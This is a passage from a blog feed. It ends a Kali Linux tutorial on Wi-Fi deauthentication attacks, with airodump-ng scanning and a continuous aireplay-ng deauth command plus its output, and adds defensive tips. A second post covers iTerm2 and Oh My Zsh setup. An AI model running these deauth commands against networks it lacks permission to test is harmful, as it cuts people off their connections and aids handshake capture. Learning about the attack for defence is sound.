**:**:**:**:**:**  -79        6        0    0   6   65  WPA  CCMP   PSK  Win******9A84                
**:**:**:**:**:**  -82        2        2    0   2  270  WPA2 CCMP   PSK  ******4hu1                     
**:**:**:**:**:**  -81        4        8    0  13  135  WPA  CCMP   PSK  mp******i                      
**:**:**:**:**:**  -91        2        0    0   1  270  OPN              OTE******n                   
**:**:**:**:**:**  -92        3        1    0   1  270  WPA2 CCMP   PSK  Sp******e Sky     


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;The combination of BSSID and ESSID can help hackers find locations. 😁 Yeap, that's a thing.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The command will keep running and monitoring near Access Point behavior but as soon as we find our target on the list we can just hit &lt;strong&gt;ctrl+c&lt;/strong&gt; to stop the monitoring process.&lt;/p&gt;

&lt;p&gt;You will get a bunch of different access points with a lot of info you don't understand! Let's break them down.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;BSSID |&lt;/strong&gt; MAC address of the access point. In the Client section, a BSSID of “(not associated)” means that the client is not associated with any AP. In this unassociated state, it is searching for an AP to connect with.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PWR |&lt;/strong&gt; Signal level reported by the card. Its signification depends on the driver, but as the signal gets higher you get closer to the AP or the station. If the BSSID PWR is -1, then the driver doesn't support signal level reporting. If the PWR is -1 for a limited number of stations then this is for a packet which came from the AP to the client but the client transmissions are out of range for your card. Meaning you are hearing only 1/2 of the communication. If all clients have PWR as -1 then the driver doesn't support signal level reporting.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Beacons |&lt;/strong&gt; Number of announcements packets sent by the AP. Each access point sends about ten beacons per second at the lowest rate (1M), so they can usually be picked up from very far.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;# Data |&lt;/strong&gt; Number of captured data packets (if WEP, unique IV count), including data broadcast packets.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;#/s |&lt;/strong&gt; Number of data packets per second measure over the last 10 seconds.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CH |&lt;/strong&gt; Channel number (taken from beacon packets).
 Note: sometimes packets from other channels are captured even if airodump-ng is not hopping, because of radio interference.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MB |&lt;/strong&gt; Maximum speed supported by the AP. If MB = 11, it's 802.11b, if MB = 22 it's 802.11b+ and higher rates are 802.11g. The dot (after 54 above) indicates short preamble is supported. Displays “e” following the MB speed value if the network has QoS enabled.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ENC |&lt;/strong&gt; Encryption algorithm in use. OPN = no encryption,“WEP?” = WEP or higher (not enough data to choose between WEP and WPA/WPA2), WEP (without the question mark) indicates static or dynamic WEP, and WPA or WPA2 if TKIP or CCMP is present.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CIPHER |&lt;/strong&gt; The cipher detected. One of CCMP, WRAP, TKIP, WEP, WEP40, or WEP104. Not mandatory, but TKIP is typically used with WPA and CCMP is typically used with WPA2. WEP40 is displayed when the key index is greater then 0. The standard states that the index can be 0-3 for 40bit and should be 0 for 104 bit.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AUTH |&lt;/strong&gt; The authentication protocol used. One of MGT (WPA/WPA2 using a separate authentication server), SKA (shared key for WEP), PSK (pre-shared key for WPA/WPA2), or OPN (open for WEP).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ESSID |&lt;/strong&gt; Shows the wireless network name. The so-called “SSID”, which can be empty if SSID hiding is activated. In this case, airodump-ng will try to recover the SSID from probe responses and association requests.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I will be targeting my own AP &lt;strong&gt;TP-LINK_AP_4CE8! You should understand that doing this to other APs is illegal. Unless you have the permission of course.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 4 - Specific Targeting for better information gathering&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Now that we know all that we need to know about our target we have to find any devices connected to the network, to do that we run the following command.&lt;/p&gt;

&lt;p&gt;The commands structure is &lt;strong&gt;airodump-ng -d "target's BSSID" -c "target's channel number" "wireless adapter monitor mode name"&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
In our case the full command is:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

airodump-ng &lt;span class="nt"&gt;-d&lt;/span&gt; 50:C7:BF:DC:4C:E8 &lt;span class="nt"&gt;-c&lt;/span&gt; 11 wlan0mon


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Now we are monitoring SPECIFICALLY our target and not all nearby access points. Also, we can see that there are two devices currently inside the network, one of which is my phone!&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

CH 11 &lt;span class="o"&gt;][&lt;/span&gt; Elapsed: 1 min &lt;span class="o"&gt;][&lt;/span&gt; 2020-09-02 15:59 &lt;span class="o"&gt;]&lt;/span&gt;                        

BSSID              PWR RXQ  Beacons    &lt;span class="c"&gt;#Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;/span&gt;

50:C7:BF:DC:4C:E8  &lt;span class="nt"&gt;-22&lt;/span&gt;  91      610      163    4  11  270  WPA2 CCMP   PSK  TP-LINK_AP_4CE8            

BSSID              STATION            PWR   Rate    Lost    Frames  Probe                               

50:C7:BF:DC:4C:E8  AC:3C:0B:36:BD:5B  &lt;span class="nt"&gt;-32&lt;/span&gt;    0e-24      0       12                                       
50:C7:BF:DC:4C:E8  E0:B5:2D:EA:18:A7  &lt;span class="nt"&gt;-58&lt;/span&gt;    1e-24      6      122  


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;Step 5 - Deauthenticating device from network //Kicking&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The final command is:&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

aireplay-ng &lt;span class="nt"&gt;-0&lt;/span&gt; 0 &lt;span class="nt"&gt;-a&lt;/span&gt; 50:C7:BF:DC:4C:E8 &lt;span class="nt"&gt;-c&lt;/span&gt; E0:B5:2D:EA:18:A7 wlan0mon


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Command instructions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;-0&lt;/strong&gt; means deauthentication.&lt;/li&gt;
&lt;li&gt;0 is the number of deauths to send, 0 means send them continuously, you can send 10 if you want the target to disconnect and reconnect.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;-a&lt;/strong&gt; 50:C7:BF:DC:4C:E8 is the MAC address of the access point we are targeting.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;-c&lt;/strong&gt; E0:B5:2D:EA:18:A7 is the MAC address of the client to deauthenticate; if this is omitted then all clients are deauthenticated.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;wlan0mon&lt;/strong&gt; is the interface name.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The command continuous output:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

16:14:41  Waiting &lt;span class="k"&gt;for &lt;/span&gt;beacon frame &lt;span class="o"&gt;(&lt;/span&gt;BSSID: 50:C7:BF:DC:4C:E8&lt;span class="o"&gt;)&lt;/span&gt; on channel 11
16:14:42  Sending 64 directed DeAuth &lt;span class="o"&gt;(&lt;/span&gt;code 7&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; STMAC: &lt;span class="o"&gt;[&lt;/span&gt;E0:B5:2D:EA:18:A7] &lt;span class="o"&gt;[&lt;/span&gt;99|67 ACKs]
16:14:43  Sending 64 directed DeAuth &lt;span class="o"&gt;(&lt;/span&gt;code 7&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; STMAC: &lt;span class="o"&gt;[&lt;/span&gt;E0:B5:2D:EA:18:A7] &lt;span class="o"&gt;[&lt;/span&gt;61|59 ACKs]
16:14:43  Sending 64 directed DeAuth &lt;span class="o"&gt;(&lt;/span&gt;code 7&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; STMAC: &lt;span class="o"&gt;[&lt;/span&gt;E0:B5:2D:EA:18:A7] &lt;span class="o"&gt;[&lt;/span&gt;25|48 ACKs]
16:14:44  Sending 64 directed DeAuth &lt;span class="o"&gt;(&lt;/span&gt;code 7&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; STMAC: &lt;span class="o"&gt;[&lt;/span&gt;E0:B5:2D:EA:18:A7] &lt;span class="o"&gt;[&lt;/span&gt; 0|72 ACKs]
16:14:45  Sending 64 directed DeAuth &lt;span class="o"&gt;(&lt;/span&gt;code 7&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; STMAC: &lt;span class="o"&gt;[&lt;/span&gt;E0:B5:2D:EA:18:A7] &lt;span class="o"&gt;[&lt;/span&gt; 0|57 ACKs]
16:14:45  Sending 64 directed DeAuth &lt;span class="o"&gt;(&lt;/span&gt;code 7&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; STMAC: &lt;span class="o"&gt;[&lt;/span&gt;E0:B5:2D:EA:18:A7] &lt;span class="o"&gt;[&lt;/span&gt; 0|65 ACKs]
16:14:45  Sending 64 directed DeAuth &lt;span class="o"&gt;(&lt;/span&gt;code 7&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; STMAC: &lt;span class="o"&gt;[&lt;/span&gt;E0:B5:2D:EA:^C:A7] &lt;span class="o"&gt;[&lt;/span&gt; 0|10 ACKs]
...
...
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;until &lt;/span&gt;we hit ctrl+c to stop it sending packets]


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;And its immediate result :&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.postimg.cc%2Ft4njtCmm%2Fiphone-Deauth.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.postimg.cc%2Ft4njtCmm%2Fiphone-Deauth.jpg" alt="Deauthenticating device from network"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Preventing the attack and taking necessary precautions&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;You are now well familiar with the attack and know all the theory a beginner may need! But how could one prepare himself for defending against a deauthentication attack?&lt;/p&gt;

&lt;p&gt;You can not stop a bad guy from sending deauth packets. Instead, you should make sure your network is configured in a way that the deauth attack doesn't enable an attacker to compromise your network.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Make sure your network is using WPA2 encryption.&lt;/li&gt;
&lt;li&gt;Your Wi-Fi passphrase should be very long and strong.&lt;/li&gt;
&lt;li&gt;Once you have been disconnected from your network, make sure that you connect back to a WPA2 secure network and not an open one with the same name as yours! &lt;strong&gt;IMPORTANT.&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;You could also &lt;strong&gt;HIDE&lt;/strong&gt; your SSID from anyone by accessing your router's configuration page. 

&lt;ul&gt;
&lt;li&gt;Usually on &lt;em&gt;WLAN &amp;gt; Advanced Option&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;By a &lt;strong&gt;VPN&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;A VPN creates a private tunnel between your laptop or smartphone and the VPN server on the other end, encrypting your traffic from snoops—even your ISP or the operator of the hotspot itself. To find the one that's right for you, read our roundup of the Best VPN Services, pick a top-rated one, pay for it, and put it on all your devices that use public Wi-Fi of any sort. You'll be glad you did.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Conclusion&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Hacking is not easy, let's start with that. It needs patience and curiosity. You will always have days when everything is just not working how it should be and you may feel like a loser for not making it work! But that's the trick! Someone has made it work and this must drive you! Be that someone! And then be more!&lt;/p&gt;

&lt;p&gt;Thank you very much for your time and I really hope that you got something from this article/tutorial! Sudorealm is here to stay and we promise to give you as much as we can!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Leave a Comment on Reddit: &lt;a href="https://www.reddit.com/r/Hacking_Tutorials/comments/jzf0pr/how_to_deauthentication_attack_the_gateway_hack/" rel="noopener noreferrer"&gt;Deauthentication Attack using Kali Linux&lt;/a&gt; 🍻&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Support this Nerd&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;My name is Thanos, my hacker name is &lt;strong&gt;&lt;em&gt;d3ad R1nger&lt;/em&gt;&lt;/strong&gt; and I am the only coder behind Sudorealm and an Author. I hack for fun and because is what I really loved as a kid. If you like any of my posts let me know.&lt;br&gt;&lt;br&gt;
You can find me on Twitter &lt;a href="https://x.com/DevThanos" rel="noopener noreferrer"&gt;@DevThanos&lt;/a&gt;. Also, you can show your support by &lt;a href="https://sudorealm.com/register" rel="noopener noreferrer"&gt;Becoming a Member&lt;/a&gt; of the nerdiest realm of the internet and Follow the &lt;a href="https://sudorealm.com/blog/category/hacking" rel="noopener noreferrer"&gt;Hacking Category&lt;/a&gt; or leave a 👍 on &lt;strong&gt;&lt;a href="https://facebook.com/sudorealm" rel="noopener noreferrer"&gt;Sudorealm on Facebook&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Oh, last but not least! If you are one of those super cool guys who really like to hype people up with crazy acts of kindness And keep the Hacking Spirit awake.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.buymeacoffee.com/ZixcW8N" rel="noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.buymeacoffee.com%2Fbuttons%2Fv2%2Fdefault-violet.png" alt="buy me a coffe"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;That is if you find my articles interesting and want more! (&lt;/strong&gt;a really cold espresso is what kickstarts my whole day*&lt;em&gt;)&lt;/em&gt;*&lt;/p&gt;

&lt;p&gt;💸 We also provide Cool things for you, related to our articles in the &lt;strong&gt;Affiliate Section&lt;/strong&gt; take a look! That's it for now! I really want to say thank you again I'll keep these posts coming. Happy hacking, and stay out of trouble! 🤓😏&lt;/p&gt;

</description>
      <category>wireless</category>
      <category>hacking</category>
      <category>kali</category>
      <category>linux</category>
    </item>
    <item>
      <title>iTerm2: your Mac's terminal, Upgraded!</title>
      <dc:creator>Thanos Stantzouris</dc:creator>
      <pubDate>Sun, 17 Sep 2023 07:13:30 +0000</pubDate>
      <link>https://dev.to/d3adr1nger/iterm2-your-macs-terminal-upgraded-3fk2</link>
      <guid>https://dev.to/d3adr1nger/iterm2-your-macs-terminal-upgraded-3fk2</guid>
      <description>&lt;p&gt;Hey there, tech-curious realmers! Ever stopped working for a mere second, gazed at your MacBook terminal, and thought, "I'm a kickass coder/hacker; why is my terminal such a peasant?" If that's a yes, then you've landed on the blog post set to turbocharge your MacBook's cool factor by +10 at least. 🚀&lt;/p&gt;

&lt;p&gt;This guide will not only show you how to make your terminal look cool and all, but it will also show you how to evolve its actions to a new standard. Let's crank up our new terminal guide!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--fVUISIH6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://media.tenor.com/54mjjpuowCgAAAAC/ninjala-jane.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--fVUISIH6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://media.tenor.com/54mjjpuowCgAAAAC/ninjala-jane.gif" alt="terminal hacker" width="498" height="278"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  ⼻ 1. iTerm2 installation
&lt;/h2&gt;

&lt;p&gt;Introducing &lt;a href="https://iterm2.com/" rel="noopener noreferrer"&gt;&lt;strong&gt;iTerm2&lt;/strong&gt;&lt;/a&gt;, the self-proclaimed macOS terminal replacement! With that application installed, you will literally start feeling sad when you accidentally open the traditional macOS terminal! &lt;/p&gt;

&lt;p&gt;&lt;a href="https://i.giphy.com/media/s239QJIh56sRW/giphy.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://i.giphy.com/media/s239QJIh56sRW/giphy.gif" alt="but why, meme" width="480" height="258"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;But why, you asked?&lt;/strong&gt; Here is a small list of my favorite iTerm2 features: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Split Panes&lt;/strong&gt;: Divide a tab up (horizontally || vertically) into multiple panes, each one showing a different session. &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hotkey Window&lt;/strong&gt;: Decide which keyboard combination you like the most to bring up a quick terminal and set it up. &lt;/li&gt;
&lt;li&gt;🔎&lt;strong&gt;Search&lt;/strong&gt;: A robust find-on-page feature. The UI stays out of the way. All matches are immediately highlighted. Even regular expression support is offered!&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Configurability&lt;/strong&gt;: A mind-boggling number of options lets you configure the terminal to suit you perfectly.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And that's just a few features that really stand out when I use iTerm on a day-to-day basis! The full feature list can be found &lt;a href="https://iterm2.com/features.html" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  ⼻ 2. Oh my Zsh! installation
&lt;/h2&gt;

&lt;p&gt;Oh My Zsh' is an engaging, open-source framework steered by the community, designed for overseeing your Zsh setup. It is packed with countless beneficial functions, tools, plugins, themes, and several features that will certainly impress you... &lt;/p&gt;

&lt;p&gt;Let's see how to get this bad boy up and running:&lt;/p&gt;

&lt;p&gt;Open your new iTerm2 and choose an installation method. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Via cUrl&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-fsSL&lt;/span&gt; https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Via wget&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;wget https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh &lt;span class="nt"&gt;-O&lt;/span&gt; -&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--LNUfGUIg--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/Vv7Y6rdx/ohmyzshblured.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--LNUfGUIg--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/Vv7Y6rdx/ohmyzshblured.jpg" alt="oh my zsh! installed" width="589" height="481"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ain't that a beauty? &lt;/p&gt;

&lt;h2&gt;
  
  
  ⼻ 3. Setup important key mappings
&lt;/h2&gt;

&lt;p&gt;By now we have a newly upgraded terminal experience on our hands, but there is something very important missing. When you are a coder like me you are used to using the MacBook's keyboard mappings, my favorites are: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;⌘ (command)  + right/left&lt;/strong&gt;: go to the end or the start of a command. &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;⌘(command)  + ⌫ (delete)&lt;/strong&gt;: delete entire line.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;⌥(option)  + right/left&lt;/strong&gt;: navigate command per word.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;⌥(option)  + ⌫ (delete)&lt;/strong&gt;: delete command per word. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;First, we need to open up our iTerm2 settings: &lt;code&gt;Profiles &amp;gt; Pick Profile (Default) &amp;gt; Edit Profiles &amp;gt; Keys &amp;gt; Key Mappings&lt;/code&gt;. You should be here: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--EHS1R0_D--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/FR5VjPnh/Screenshot-2023-09-16-at-8-21-36-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--EHS1R0_D--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/FR5VjPnh/Screenshot-2023-09-16-at-8-21-36-PM.png" alt="iTerm2 Settings for Key Mappings" width="800" height="461"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;To create a new &lt;strong&gt;key mapping&lt;/strong&gt; or a preset we just have to click the (+) button next to the Presets and we get the following window pop: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--QL70Y5I2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/Dw4GBrG0/Screenshot-2023-09-16-at-8-28-56-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--QL70Y5I2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.postimg.cc/Dw4GBrG0/Screenshot-2023-09-16-at-8-28-56-PM.png" alt="iTerm2 Settings: new preset guide" width="800" height="247"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now all there's left to do is record our key combinations and let the terminal know what to trigger. Let's see all the aforementioned key mappings one by one. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key Mapping: ⌘ + ⇨&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Record the key mapping. &lt;/li&gt;
&lt;li&gt;Click Action.&lt;/li&gt;
&lt;li&gt;Search: &lt;em&gt;Send Hex Code&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;On the new input field put: &lt;em&gt;0x05&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Key Mapping: ⌘ + ⇦&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Record the key mapping. &lt;/li&gt;
&lt;li&gt;Click Action.&lt;/li&gt;
&lt;li&gt;Search: &lt;em&gt;Send Hex Code&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;On the new input field put: &lt;em&gt;0x01&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Key Mapping: ⌘ + ⌫&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Record the key mapping. &lt;/li&gt;
&lt;li&gt;Click Action.&lt;/li&gt;
&lt;li&gt;Search: &lt;em&gt;Send Hex Code&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;On the new input field put: &lt;em&gt;0x15&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Key Mapping: ⌥ + ⌫&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Record the key mapping. &lt;/li&gt;
&lt;li&gt;Click Action.&lt;/li&gt;
&lt;li&gt;Search: &lt;em&gt;Send Hex Code&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;On the new input field put: &lt;em&gt;0x17&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Key Mapping:  ⌥ + ⇨&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Record the key mapping. &lt;/li&gt;
&lt;li&gt;Click Action.&lt;/li&gt;
&lt;li&gt;Search: &lt;em&gt;Send Escape Sequence&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;On the new input field put: &lt;em&gt;f&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Key Mapping:  ⌥ + ⇦&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Record the key mapping. &lt;/li&gt;
&lt;li&gt;Click Action.&lt;/li&gt;
&lt;li&gt;Search: &lt;em&gt;Send Escape Sequence&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;On the new input field put: &lt;em&gt;b&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  ⼻ 4. Setup Transparency and Colors
&lt;/h2&gt;

&lt;p&gt;That's a personal setting that I like, it's just a small cosmetic change that takes the iTerm2 experience to a new level for me 🧐. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Transparency&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Navigate to &lt;code&gt;Profiles &amp;gt; Pick Profile (Default) &amp;gt; Edit Profiles &amp;gt; Window&lt;/code&gt; and make the following changes: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Transparency&lt;/strong&gt;: 15 - 20 (make sure to enable 'use transparency'). &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Blur&lt;/strong&gt;: 10 - 15. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I really love this change, it makes out iTerm2 window look a bit like a glass. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Colors&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Navigate to &lt;code&gt;Profiles &amp;gt; Pick Profile (Default) &amp;gt; Edit Profiles &amp;gt; Colors&lt;/code&gt; and make the following changes: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;click &lt;strong&gt;Color Presets&lt;/strong&gt;: Pastel ( Dark Background )&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Your terminal should look something like this: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--lJ1eeoX0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://i.postimg.cc/W1hbJybK/ezgif-com-resize.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--lJ1eeoX0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://i.postimg.cc/W1hbJybK/ezgif-com-resize.gif" alt="iTerm2 with custom settings" width="600" height="331"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;I haven't changed anything else at the moment, but by all means, feel free to change whatever color setting you want. &lt;br&gt;
I mean... who doesn't want a terminal looking like Buggy the Clown? &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--3M_FR3s8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://media.tenor.com/UjQkCTOcuTIAAAAd/buggy-one-piece.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--3M_FR3s8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://media.tenor.com/UjQkCTOcuTIAAAAd/buggy-one-piece.gif" alt="Buggy the Clown from One Piece" width="640" height="480"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Wrapping it up
&lt;/h3&gt;

&lt;p&gt;With the tools and knowledge in your arsenal from this guide, the door to terminal experimentation is now wide open. It's exhilarating to see just how deep the rabbit hole of iTerm customization can go. My hope is that this article sparks an itch of curiosity within you. Don't just stop here; venture further, tweak more, and discover the full spectrum of personalization iTerm offers. Dive in, play around, and let your terminal truly be an extension of your coder/hacker persona. Here's to endless exploration and customization! 🍻&lt;/p&gt;

&lt;h2&gt;
  
  
  🚀 Spread the Love &amp;amp; Support the Realm
&lt;/h2&gt;

